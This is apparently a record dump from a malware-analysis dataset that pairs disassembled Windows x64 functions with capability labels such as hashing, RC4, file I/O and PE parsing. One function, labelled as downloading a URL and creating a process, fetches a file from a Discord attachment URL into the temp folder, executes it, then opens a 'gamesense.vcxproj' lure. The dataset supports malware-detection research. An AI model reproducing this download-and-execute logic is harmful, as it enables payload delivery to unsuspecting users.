joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400675e0
Capabilities:
Hash data using fnv

Disassembly:
mov r11, rsp
push rbx
push rsi
push rdi
sub rsp, 0x70
mov qword [r11 - 0x48], 0xfffffffffffffffe
mov rax, qword [0x1400f3080]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov r10, r8
mov rdi, rdx
lea rax, [rcx + 8]
mov qword [r11 - 0x30], rax
xor esi, esi
mov qword [r11 - 0x28], rsi
movzx r8d, byte [r8]
movabs rax, 0xcbf29ce484222325
xor r8, rax
movabs rdx, 0x100000001b3
imul r8, rdx
movzx eax, byte [r10 + 1]
xor r8, rax
imul r8, rdx
movzx eax, byte [r10 + 2]
xor r8, rax
imul r8, rdx
movzx eax, byte [r10 + 3]
xor r8, rax
imul r8, rdx
movzx eax, byte [r10 + 4]
xor r8, rax
imul r8, rdx
movzx eax, byte [r10 + 5]
xor r8, rax
imul r8, rdx
movzx eax, byte [r10 + 6]
xor r8, rax
imul r8, rdx
movzx eax, byte [r10 + 7]
xor r8, rax
imul r8, rdx
mov qword [r11 - 0x58], r9
mov qword [r11 - 0x60], r10
lea rax, [r11 - 0x30]
mov qword [r11 - 0x68], rax
mov r9, r10
lea rdx, [r11 - 0x40]
call fcn.140067840
mov rax, qword [rsp + 0x48]
mov qword [rdi], rax
movzx eax, byte [rsp + 0x50]
mov byte [rdi + 8], al
mov rbx, qword [rsp + 0x60]
test rbx, rbx
je 0x140067712
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x140067705
mov rdx, qword [rbx + 0x28]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1400676ef
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14006772a
mov rcx, r8
call fcn.14006bb24
mov qword [rbx + 0x18], rsi
mov qword [rbx + 0x20], rsi
mov qword [rbx + 0x28], rsi
mov rbx, qword [rsp + 0x60]
mov edx, 0x48
mov rcx, rbx
call fcn.14006bb24
mov rax, rdi
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14006bb00
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret
call fcn.140095014
int3
Function at 0x14006f5ec
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14006f5ff
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
lea rcx, [rsp + 0x20]
or edx, 0x80070000
test eax, eax
cmovle edx, eax
call fcn.14006fc00
lea rdx, [0x1400ef858]
lea rcx, [rsp + 0x20]
call fcn.140089f50
int3

Function at 0x140079e74
Capabilities:
Set thread local storage value

Disassembly:
mov ecx, dword [0x1400f76a0]
xor edx, edx
jmp fcn.14006f5ec

Function at 0x14007a808
Capabilities:
Set thread local storage value

Disassembly:
mov rdx, rcx
mov ecx, dword [0x1400f76a0]
jmp fcn.14006f5ec
Function at 0x1400863c8
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rcx + 0x98], rdx
mov r8, rcx
mov r9, qword [rdx + 0x1a8]
add rcx, 0x40
lea rdx, [0x140086484]
mov r9, qword [r9 + 8]
jmp fcn.140077878

Function at 0x14008645c
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rcx + 0x98], rdx
mov r8, rcx
mov r9, qword [rdx + 0x1a8]
add rcx, 0x40
lea rdx, [0x140086494]
mov r9, qword [r9 + 8]
jmp fcn.140077878

Function at 0x14009c824
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14009c650
Function at 0x1400111ea
Capabilities:
Terminate process

Disassembly:
jmp 0x140012d40
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011267
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014090
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400140b0
xor al, al
jmp 0x140014131
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400140c3
xor al, al
jmp 0x140014131
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400140ed
xor al, al
jmp 0x140014131
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014101
xor al, al
jmp 0x140014131
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014113
xor al, al
jmp 0x140014131
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001412f
xor al, al
jmp 0x140014131
mov al, 1
add rsp, 0x38
ret

Function at 0x140011294
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
jmp 0x1400117a0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x408
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x96
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x428]
mov rax, qword [0x14001c008]
xor rax, rbp
mov qword [rbp + 0x3c8], rax
lea rcx, [0x1400220ab]
call fcn.14001136b
lea rdx, [rbp + 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, str.image.png
lea rcx, [rbp + 0x10]
call qword [sym.imp.ucrtbased.dll_wcscat]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x10]
lea rdx, str.https:__media.discordapp.net_attachments_1156710862757838930_1163900784895868958_image.png
xor ecx, ecx
call fcn.14001132a
mov dword [rbp + 0x234], eax
cmp dword [rbp + 0x234], 0
jne 0x140011896
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x10]
lea rdx, [0x140019d20]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.gamesense.vcxproj
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140019c00]
call fcn.1400112f8
mov eax, edi
mov rcx, qword [rbp + 0x3c8]
xor rcx, rbp
call fcn.1400111a9
lea rsp, [rbp + 0x3d8]
pop rdi
pop rbp
ret
Function at 0x140006920
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14000699a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140006990
cmp r11, r10
ja 0x140006a33
cmp r10, rdx
ja 0x140006a47
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140006992
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140006970
jmp 0x140006a07
ja 0x14000699a
mov r11, r10
cmp rax, r8
jne 0x140006942
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140006a0b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x1400069e0
mov r8, r10
sub ecx, r9d
jns 0x1400069fe
jmp 0x140006a0d
cmp r10, rdx
je 0x140006a19
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x140006a0d
xor al, 1
cmp r8, rdx
jne 0x1400069c0
jmp 0x140006a0d
xor eax, eax
jmp 0x140006a0d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__valuelibrarycore_src_nummod.rsfrom_str_radix_int:_must_lie_in_the_range___2__36_____found
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.14003fd30
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140040170
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140040100
ud2
Function at 0x14000a7b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rsi, rcx
mov r11, qword [rdx + 8]
mov r10, qword [rdx + 0x10]
lea rcx, [r10 + 1]
mov qword [rdx + 0x10], rcx
mov al, 1
cmp rcx, r11
jae 0x14000a7f1
mov rax, qword [rdx]
movzx edi, byte [rax + rcx]
mov al, 1
cmp edi, 0x2b
je 0x14000a7e6
cmp edi, 0x2d
jne 0x14000a7f1
xor eax, eax
add r10, 2
mov qword [rdx + 0x10], r10
mov rcx, r10
cmp rcx, r11
jae 0x14000a98a
mov rdi, qword [rdx]
movzx r10d, byte [rdi + rcx]
lea rbx, [rcx + 1]
mov qword [rdx + 0x10], rbx
add r10b, 0xd0
cmp r10b, 0xa
jae 0x14000a995
movzx r10d, r10b
cmp rbx, r11
jae 0x14000a890
mov ebx, 1
sub rbx, r11
add rcx, 2
jmp 0x14000a84c
movzx r11d, r11b
lea r10d, [r10 + r10*4]
lea r10d, [r11 + r10*2]
lea r11, [rbx + rcx]
inc r11
inc rcx
cmp r11, 2
je 0x14000a890
movzx r11d, byte [rdi + rcx - 1]
add r11b, 0xd0
cmp r11b, 0xa
jae 0x14000a890
mov qword [rdx + 0x10], rcx
cmp r10d, 0xccccccb
jle 0x14000a830
cmp r10d, 0xccccccc
jne 0x14000a878
cmp r11b, 7
jbe 0x14000a830
test r9, r9
sete r9b
mov byte [rsp + 0x20], al
mov rcx, rsi
call fcn.140040670
jmp 0x14000a977
mov ecx, dword [rsp + 0x80]
test al, al
je 0x14000a8ac
lea eax, [rcx + r10]
sar eax, 0x1f
add eax, 0x80000000
add ecx, r10d
jmp 0x14000a8bc
xor eax, eax
cmp ecx, r10d
setns al
add eax, 0x7fffffff
sub ecx, r10d
cmovo ecx, eax
movq xmm1, r9
punpckldq xmm1, xmmword [0x140045170]
subpd xmm1, xmmword [0x140045180]
movapd xmm0, xmm1
unpckhpd xmm0, xmm1
addsd xmm0, xmm1
mov eax, ecx
neg eax
cmovs eax, ecx
cmp eax, 0x135
jb 0x14000a928
xorpd xmm1, xmm1
movsd xmm2, qword [0x140045190]
nop word [rax + rax]
ucomisd xmm0, xmm1
jne 0x14000a908
jnp 0x14000a960
test ecx, ecx
jns 0x14000a9bb
divsd xmm0, xmm2
add ecx, 0x134
mov eax, ecx
neg eax
cmovs eax, ecx
cmp eax, 0x134
ja 0x14000a900
mov eax, eax
lea r9, [0x14004b978]
movsd xmm1, qword [r9 + rax*8]
test ecx, ecx
js 0x14000a97f
mulsd xmm0, xmm1
movq rax, xmm0
movabs rcx, 0x7fffffffffffffff
and rcx, rax
movabs rax, 0x7ff0000000000000
cmp rcx, rax
je 0x14000a9bb
test r8b, r8b
jne 0x14000a96d
xorpd xmm0, xmmword [0x1400451a0]
movsd qword [rsi + 8], xmm0
xor eax, eax
mov qword [rsi], rax
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
divsd xmm0, xmm1
test r8b, r8b
je 0x14000a965
jmp 0x14000a96d
mov qword [rsp + 0x28], 5
jmp 0x14000a99e
mov qword [rsp + 0x28], 0xc
lea rax, [rsp + 0x28]
mov rcx, rdx
mov rdx, rax
call fcn.140040710
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x14000a977
mov qword [rsp + 0x28], 0xd
lea rax, [rsp + 0x28]
mov rcx, rdx
mov rdx, rax
call fcn.140040710
mov qword [rsi + 8], rax
mov eax, 1
jmp 0x14000a974
Function at 0x14001c1f0
Capabilities:
Generate random numbers via winapi

Disassembly:
push rsi
push rdi
sub rsp, 0xb8
movdqa xmmword [rsp + 0xa0], xmm7
movdqa xmmword [rsp + 0x90], xmm6
mov rsi, rcx
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x50]
xor ecx, ecx
mov r8d, 0x20
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
cmp eax, 0xc0000000
jb 0x14001c2a4
mov edi, eax
movzx eax, byte [0x14005a110]
mov rcx, qword [0x14005a228]
test rcx, rcx
jne 0x14001c26c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14001c389
mov rcx, rax
mov qword [0x14005a228], rax
mov r8d, 4
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14001c389
add edi, 0x80000000
mov dword [rax], edi
mov qword [rsi + 8], rax
lea rax, [0x140047b08]
mov qword [rsi + 0x10], rax
mov eax, 1
jmp 0x14001c369
movdqa xmm7, xmmword [rsp + 0x50]
movdqa xmm6, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x80], xmm6
movdqa xmmword [rsp + 0x70], xmm7
mov rax, qword [0x14005a298]
test rax, rax
je 0x14001c310
test eax, 0x4000
jne 0x14001c31c
pshufd xmm0, xmm7, 0xee
pshufd xmm1, xmm6, 0xee
movq rax, xmm7
movq rcx, xmm0
movq rdx, xmm6
movq r8, xmm1
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r8
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
jmp 0x14001c338
call fcn.140041ab0
test eax, 0x4000
je 0x14001c2d2
lea r8, [0x140047940]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x70]
mov r9d, 8
call fcn.14001e9d0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
movdqa xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsi + 0x30], xmm0
mov qword [rsi + 0x20], rdx
mov qword [rsi + 0x28], r8
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rcx
xor eax, eax
mov qword [rsi], rax
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x90]
movaps xmm7, xmmword [rsp + 0xa0]
add rsp, 0xb8
pop rdi
pop rsi
ret
mov ecx, 4
mov edx, 4
call fcn.14003fc20
ud2
Function at 0x14001f9b0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae fcn.1400057a0
cmp rax, rcx
je 0x14001f9d5
cmp rdx, 4
jae 0x14001f9d8
xor eax, eax
xor r8d, r8d
jmp 0x14001fa70
xor eax, eax
ret
mov r8, rdx
and r8, 0xfffffffffffffffc
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x140043380]
movdqa xmm3, xmmword [0x140043390]
pxor xmm1, xmm1
nop dword [rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x14001fa00
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x14001fa87
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x14001fa70
ret
Function at 0x140023e40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, rcx
mov r9, qword [rcx]
test r9, r9
je 0x140023e9b
mov r10, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
cmp rcx, r10
jae 0x140023e9b
movzx eax, byte [r9 + rcx]
cmp eax, 0x49
je 0x140023eb6
cmp eax, 0x42
jne 0x140023e9b
lea r11, [rcx + 1]
mov qword [rsi + 0x10], r11
cmp r11, r10
jae 0x140023f66
cmp byte [r9 + r11], 0x5f
jne 0x140023f66
lea rax, [rcx + 2]
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x140023fce
mov rcx, rsi
xor edx, edx
call fcn.140022ac0
mov edi, eax
add dil, dil
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
inc rcx
mov qword [rsi + 0x10], rcx
mov rcx, rsi
xor edx, edx
call fcn.140022ac0
test al, al
jne 0x140024061
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140023ef2
lea rdx, [0x140048034]
mov r8d, 1
call fcn.140004ad0
test al, al
jne 0x140024061
mov rax, qword [rsi]
mov dil, 1
test rax, rax
je 0x140023eaa
xor r14d, r14d
lea rbx, [0x140048418]
nop word [rax + rax]
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x140023f24
cmp byte [rax + rcx], 0x45
je 0x14002408a
sub r14, 1
jb 0x140023f49
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140023f49
mov r8d, 2
mov rdx, rbx
call fcn.140004ad0
test al, al
jne 0x140024061
mov rcx, rsi
call fcn.140023220
test al, al
jne 0x140024061
mov rax, qword [rsi]
test rax, rax
jne 0x140023f10
jmp 0x140023eaa
xor eax, eax
mov edi, 0x3e
nop dword [rax]
mov r8b, 1
cmp r11, r10
jae 0x140024028
movzx edx, byte [r9 + r11]
cmp dl, 0x5f
je 0x140023fc2
lea ebx, [rdx - 0x30]
cmp bl, 0xa
jb 0x140023fac
lea ebx, [rdx - 0x61]
cmp bl, 0x1a
jae 0x140023f9b
add dl, 0xa9
jmp 0x140023faa
lea ebx, [rdx - 0x41]
cmp bl, 0x1a
jae 0x140024028
add dl, 0xe3
mov ebx, edx
inc r11
mov qword [rsi + 0x10], r11
mul rdi
jo 0x140024028
movzx edx, bl
add rax, rdx
jae 0x140023f70
jmp 0x140024028
inc r11
mov qword [rsi + 0x10], r11
inc rax
je 0x140024028
cmp rax, rcx
jae 0x140024025
mov ecx, dword [rsi + 0x18]
inc ecx
cmp ecx, 0x1f4
ja 0x140024069
cmp qword [rsi + 0x20], 0
je 0x140024083
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], ecx
mov rcx, rsi
call fcn.140023e40
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x140023eac
mov r8b, 1
xor edi, edi
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140024078
lea rax, str.invalid_syntaxrecursion_limit_reached
lea rdx, [0x1400483d8]
test r8b, r8b
cmovne rdx, rax
xor r8b, 1
movzx eax, r8b
lea r8, [rax + rax*8]
add r8, 0x10
call fcn.140004ad0
test al, al
je 0x140024078
mov dil, 2
jmp 0x140023eaa
mov dil, 1
xor r8d, r8d
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x140024033
mov qword [rsi], 0
mov byte [rsi + 8], dil
xor edi, edi
jmp 0x140023eaa
inc rcx
mov qword [rsi + 0x10], rcx
jmp 0x140023eaa
Function at 0x14002bc40
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor edi, edi
xor ebx, ebx
xor r14d, r14d
cmp r8, 0x201
jae 0x14002bcd0
jmp 0x14002bcbf
jae 0x14002bd8f
cmp r8, 0x201
jae 0x14002bcd0
mov r15d, 0x200
lea r12, [rbp - 0x58]
mov r13, r8
jmp 0x14002bd28
sub r8, r14
sub rbx, r14
cmp rbx, r8
jae 0x14002bcff
lea rcx, [rbp + 0x3c8]
mov rdx, r14
call fcn.140040e10
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3e8], rax
mov rdi, qword [rbp + 0x3d0]
mov eax, 0xffffffff
cmp rdi, rax
mov r14d, 0xffffffff
cmovb r14, rdi
mov qword [rbp + 0x3d8], r14
mov rbx, rdi
mov r15, r14
mov r12, qword [rbp + 0x3e8]
mov r13, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r13d
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov esi, eax
test eax, eax
jne 0x14002bd50
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14002bdf5
mov r8d, esi
cmp r13, r8
jne 0x14002bcb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14002be18
add r13, r13
mov eax, 0xffffffff
cmp r13, rax
cmovae r13, rax
mov r8, r13
cmp r8, 0x201
jb 0x14002bcbf
jmp 0x14002bcd0
cmp r15, r8
jb 0x14002be32
lea rcx, [rbp + 0x3a8]
mov rdx, r12
call fcn.140030a60
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rdi, rdi
je 0x14002bdde
mov rcx, qword [0x14005a228]
xor edx, edx
mov r8, qword [rbp + 0x3e8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi], rax
mov byte [rsi + 0x18], 2
test rdi, rdi
jne 0x14002bdc8
jmp 0x14002bdde
lea rcx, str.internal_error:_entered_unreachable_code_rustc_08d00b40aef2017fe6dba3ff7d6476efa0c10888library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.14003fd30
jmp 0x14002be47
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.140040100
ud2
Function at 0x140037ad0
Capabilities:
Delete file

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
in al, dx
push rax

Function at 0x140038540
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
movups xmm0, xmmword [0x14004e878]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x1400385ac
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0xc0000011
jne 0x1400385bb
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x1400385f3
cmp eax, 0x103
je 0x1400385fd
test eax, eax
js 0x1400385d8
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x1400385f3
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
add rsp, 0xa8
pop rdi
pop rsi
ret
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x20], 0
lea rdx, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
lea rsi, [rsp + 0x78]
lea r9, [rsp + 0x50]
mov r8d, 1
mov rcx, rsi
call fcn.140029610
lea rcx, [rsp + 0x58]
mov rdx, rsi
call fcn.1400305e0
mov rcx, rax
call fcn.140029be0
mov ecx, 7
int 0x29
ud2

Function at 0x140038650
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x14004e878]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x140038694
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x1400386fa
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x140038731
test eax, eax
js 0x14003870b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x140038724
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x20], 0
lea rdx, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
lea rsi, [rsp + 0x78]
lea r9, [rsp + 0x50]
mov r8d, 1
mov rcx, rsi
call fcn.140029610
lea rcx, [rsp + 0x58]
mov rdx, rsi
call fcn.1400305e0
mov rcx, rax
call fcn.140029be0
mov ecx, 7
int 0x29
ud2
Function at 0x14003c1a0
Capabilities:
Encode data using xor
Encrypt data using salsa20 or chacha

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
lea rcx, [rbp - 0x50]
mov rdx, rdi
call fcn.14003d570
cmp qword [rbp - 0x50], 0
je 0x14003c1fb
mov rcx, qword [rbp - 0x48]
mov rax, qword [rbp - 0x40]
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
je 0x14003c233
cmp qword [rax + 0x10], 0x11
jae 0x14003c21c
mov r8, qword [rbp - 8]
jmp 0x14003c224
mov rax, qword [rdi + 0x30]
mov qword [rdi + 0x38], rax
movaps xmm0, xmmword [rbp - 0x40]
movaps xmm1, xmmword [rbp - 0x30]
movaps xmm2, xmmword [rbp - 0x20]
movaps xmmword [rdi], xmm0
movaps xmmword [rdi + 0x10], xmm1
movaps xmmword [rdi + 0x20], xmm2
jmp 0x14003c233
mov r8, qword [rbp - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14005a228]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rdi + 0x40], rbx
mov rax, 0xffffffffffffff00
add rax, qword [rdi + 0x30]
mov qword [rdi + 0x38], rax
mov rcx, rdi
mov edx, 6
mov r8, rsi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.14001c3a0